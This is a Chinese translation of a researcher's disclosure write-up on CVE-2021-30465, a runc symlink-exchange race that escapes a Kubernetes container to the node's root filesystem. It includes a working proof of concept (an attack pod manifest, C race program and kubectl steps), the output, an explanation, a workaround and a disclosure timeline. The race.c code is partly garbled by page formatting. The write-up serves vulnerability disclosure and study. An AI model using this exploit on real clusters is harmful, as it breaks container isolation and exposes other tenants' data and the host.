CVE-2021-30465

  • CVE-2021-30465已关闭评论
  • 13 views
  • A+

声明

本文为译文,原文作者Etienne Champetier,原文来自http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

前言

runc挂载地址可以通过Symlink-exchange进行交换,这导致了可以在rootfs外进行挂载,也就是CVE-2021-30465。

2020年11月我正在排查一个在K8S上运行的容器,该容器正在对本地磁盘做大量写入操作,由于那些写入只是临时状态,我快速在/var/run添加了一个emptyDir tmpfs卷,打开一张票证以便我的devs使它成为永久性。不久后我查看挂载输出,这个新的tmpfs挂载在.../run上而不是/var/run上,这一点我之前没有注意到,但让我有点吃惊,/var/run指向../run,快速测试后我发现这是正常的的Linux行为,要让挂载跟随符号链接,所以我开始想知道Containerd/runc是如何确保挂载在容器根文件中的,在遵循负责装载的代码后,我最终读取了securejoin.securejoinvfs()的注释:

// Note that the guarantees provided by this function only apply if the path
// components in the returned string are not modified (in other words are not
// replaced with symlinks on the filesystem) after this function has returned.
// Such a symlink race is necessarily out-of-scope of SecureJoin.

当您阅读这里时应该知道存在竞争条件,问题是如何利用它逃离K8S主机。

POC

使用此功能只有安全,如果您知道已选中的文件不会被符号链接替换,问题是我们可以通过符号链接替换它。 在K8S中,有一种琐碎的方法来控制目标,创建一个带有多个容器的POD,共享一些卷,一个具有正确图像的卷,另一个具有非现有图像的卷,因此它们不会立即开始。

让我们先从PoC开始,并在解释之后

挂载卷时runc信任源代码,并让内核遵循符号链接,但它不信任target参数,将使用' filepath-securejoin '库来解析任何符号链接,并确保解析后的目标保持在容器根目录中,正如SecureJoinVFS()文档所述,只有当您确定选中的文件不会被符号链接替换时,使用这个函数才是安全的,问题是我们可以通过符号链接替换它。在K8S中,有一种繁琐的方法来控制目标,即创建一个带有多个容器的pod,这些容器共享一些卷,其中一个具有正确的图像,而另一个不存在图像,因此它们不会立即启动。

让我们先从POC开始,然后解释

1、创造攻击POD

kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack
spec:
  terminationGracePeriodSeconds: 1
  containers:
  - name: c1
  image: ubuntu:latest
  command: [ "/bin/sleep", "inf" ]
  env:
  - name: MY_POD_UID
      valueFrom:
      fieldRef:
          fieldPath: metadata.uid
  volumeMounts:
  - name: test1
      mountPath: /test1
  - name: test2
      mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
  - name: c$c
  image: donotexists.com/do/not:exist
  command: [ "/bin/sleep", "inf" ]
  volumeMounts:
  - name: test1
      mountPath: /test1
$(for m in {1..4}; do
cat <<EOM
  - name: test2
      mountPath: /test1/mnt$m
EOM
done
)
  - name: test2
      mountPath: /test1/zzz
EOC
done
)
  volumes:
  - name: test1
  emptyDir:
      medium: "Memory"
  - name: test2
  emptyDir:
      medium: "Memory"
EOF

2、编译race.c

```
cat > race.c <<'EOF'

define _GNU_SOURCE

include

include

include

include

include

include

include

int main(int argc, char argv[]) {
  if (argc != 4) {
      fprintf(stderr, "Usage: %s name1 name2 linkdestn", argv[0]);
      exit(EXIT_FAILURE);
  }
  char
name1 = argv[1];
  char name2 = argv[2];
  char
linkdest = argv[3];

int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
  if (dirfd < 0) {
      perror("Error open CWD");
      exit(EXIT_FAILURE);
  }

if (mkdir(name1, 0755) < 0) {
      perror("mkdir failed");
      //do not exit
  }
  if (symlink(linkdest, name2) < 0) {
      perror("symlink failed");
      //do not exit
  }

while (1)
  {
      renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
  }
}
EOF

gcc race.c -O3 -o race
```

3、等待c1容器启动,将race文件上传到容器并exec bash

sleep 30 # wait for the first container to start
kubectl cp race -c c1 attack:/test1/
kubectl exec -ti pod/attack -c c1 -- bash

之后获得一个c1容器里的shell

4、创建以下符号链接

ln -s / /test2/test2

5、运行race尝试利用这个TOCTOU

cd test1
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

6、现在一切就绪,在第2个shell中更新图像,以便启动其他容器

for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done

7、稍等片刻然后查看结果

for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

~~ Container c2 ~~
test2
~~ Container c3 ~~
test2
~~ Container c4 ~~
test2
~~ Container c5 ~~
bin   dev home lib64     mnt postinst root sbin tmp var
boot etc lib lost+found opt proc   run   sys usr
~~ Container c6 ~~
bin   dev home lib64     mnt postinst root sbin tmp var
boot etc lib lost+found opt proc   run   sys usr
~~ Container c7 ~~
error: unable to upgrade connection: container not found ("c7")
~~ Container c8 ~~
test2
~~ Container c9 ~~
bin boot dev etc home lib lib64 lost+found mnt opt postinst proc root run sbin sys tmp usr var
~~ Container c10 ~~
test2
~~ Container c11 ~~
bin   dev home lib64     mnt postinst root sbin tmp var
boot etc lib lost+found opt proc   run   sys usr
~~ Container c12 ~~
test2
~~ Container c13 ~~
test2
~~ Container c14 ~~
test2
~~ Container c15 ~~
bin boot dev etc home lib lib64 lost+found mnt opt postinst proc root run sbin sys tmp usr var
~~ Container c16 ~~
error: unable to upgrade connection: container not found ("c16")
~~ Container c17 ~~
error: unable to upgrade connection: container not found ("c17")
~~ Container c18 ~~
bin boot dev etc home lib lib64 lost+found mnt opt postinst proc root run sbin sys tmp usr var
~~ Container c19 ~~
error: unable to upgrade connection: container not found ("c19")
~~ Container c20 ~~
test2

在我第一次尝试运行此PoC时,我有6个容器,其中/test1/zzz在节点上,一些无法启动,而其他的不受影响。即使没有更新图像的能力,我们也可以为c1使用一个快速注册表,为c2+使用一个缓慢的注册表或大容器,我们只需要c1比其他的先启动1瞬间。

在以下GKE集群上进行测试:

gcloud beta container --project "delta-array-282919" clusters create "toctou" --zone "us-central1-c" --no-enable-basic-auth --cluster-version "1.18.12-gke.1200" --release-channel "rapid" --machine-type "e2-medium" --image-type "COS_CONTAINERD" --disk-type "pd-standard" --disk-size "100" --metadata disable-legacy-endpoints=true --scopes "https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --num-nodes "3" --enable-stackdriver-kubernetes --enable-ip-alias --network "projects/delta-array-282919/global/networks/default" --subnetwork "projects/delta-array-282919/regions/us-central1/subnetworks/default" --default-max-pods-per-node "110" --no-enable-master-authorized-networks --addons HorizontalPodAutoscaling,HttpLoadBalancing --enable-autoupgrade --enable-autorepair --max-surge-upgrade 1 --max-unavailable-upgrade 0 --enable-shielded-nodes

解释

我没用深入挖掘代码,而是依靠strace去理解发生了什么,并且在一个月后获得了一个可行的POC,所以细节上比较模糊,以下是我的理解:

1、K8S在/var/lib/kubellet/pod/$MY_POD_UID/volumes/VOLUME-TYPE/VOLUME-NAME中为pod准备所有卷(在我的POC中我使用的是已知路径的事实,但是查看/proc/self/mountinfo会泄露所有您需要找到的路径)

2、containerd在/run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs上准备rootfs文件

3、runc调用unshare(CLONE_NEWNS)并将挂载传播设置为MS_SLAVE,从而防止以下挂载操作直接影响其他容器或节点

4、runc mount绑定K8S卷

(1)、runc调用securejoin.SecureJoin()来解析目的地址/目标

(2)、runc调用mount()

K8S不会让我们控制挂载源,但我们有可以完全控制挂载的目标,因此重点是将包含符号链接的目录挂载在K8S卷路径上,以使下一个挂载源使用这个新来源,以及让我们访问节点的根文件系统。

从节点来看,文件系统如下所示:

/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt1
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp1 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt2 -> /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mnt-tmp2
...
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /

我们的race二进制文件不断交换mntX和mnt-tmpX,当c2+启动时,它们执行以下挂载:

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/mntX)

这相当于:

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

随着卷被绑定到容器的rootfs中,之后如果幸运,当调用secureJoin()时,mntX是一个目录,而当调用mount()时,mntX现在是一个符号链接,并且当mount()遵循符号链接时,这给了我们:

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)

现在文件系统看起来这样:

/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /

当我们最后挂载时:

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

解决:

mount(/,/run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

我们现在可以完全访问整个节点根,包括/dev,/proc,所有的tmpfs和其他容器覆盖,一切。

解决方法

一种可能的解决方法是禁止在卷中挂载卷,但建议和之前一样升级。

评论

这个PoC不是最优秀的,如前面已经说明的那样,能够更新图像不是强制性的。

我花了一些力气有了一个工作的PoC,最初我只是想挂载tmpfs影响主机(/root/.ssh),但这不起作用,因为挂载正在新的挂载名称空间中进行(并且带有正确的挂载传播集),所以在挂载名称空间中看不到挂载,然后我尝试使用Golang版本的race二进制文件,4个容器和20卷,但始终失败,然后我切换到C版本(不确定它有什么差异),19个容器和4个挂载,这样可以执行,并且之后在挂载主机的情况下给了我19个容器中的6个。

即使使用较新的系统调用如Openat2(),您仍然需要挂载(/proc/self/fd/X,/proc/self/fd/fd/Y)以便自由竞争,不确定有一个新的挂载标志失败有多么有用当Params是一个符号链接,但这是一个巨大的footgun。

存在此漏洞,因为具有不可信/受限制的容器定义不是Docker / Runc的初始威胁模型的一部分,并且稍后被K8S添加。 您有时可以阅读K8S是多租户,但您必须将其理解为多个可信团队,而不是给API访问陌生人。

2月24日谷歌推出了GKE自动驾驶仪,完全管理的K8S集群强调安全性,从理论上无法访问该节点,因此在测试后我也向他们报告。

该漏洞的存在是因为具有不受信任/受限制的容器定义不是 Docker/runc 初始威胁模型的一部分,而是后来由K8S添加的,有时您可能会读到的K8S是多租户的,但您必须将其理解为多个可信任的团队,而不是将API访问权限给陌生人。

2月24日谷歌推出了GKE Autopilot,完全管理K8S集群强调安全,理论上不能访问节点,所以在测试后我也向他们报告。

时间线

2020-11-??:发现SecureJoinVFS()注释

20-12-26:首次向[email protected]提交初步报告

2020-12-27:报告确认

21-03-06:向谷歌报告他们的新GKE Autopilot

21-04-07:加入到关于修复的讨论中

21-04-08:谷歌bounty(捐赠给国际助残)

21-05-19:禁运结束,发布在GitHub和OSS-Security上

21-05-30:writeup + POC public

致谢

感谢 Aleksa Sarai(runc 维护者)的快速响应和他的所有工作,感谢 Noah Meyerhans 和 Samuel Karp 的帮助修复和测试,以及谷歌的赏金。

相关推荐: 初探二进制分析框架qiling

概述 qiling是一个开源的二进制分析框架 https://github.com/qilingframework/qiling 官方介绍: https://qiling.io/ https://docs.qiling.io/en/latest/ https:…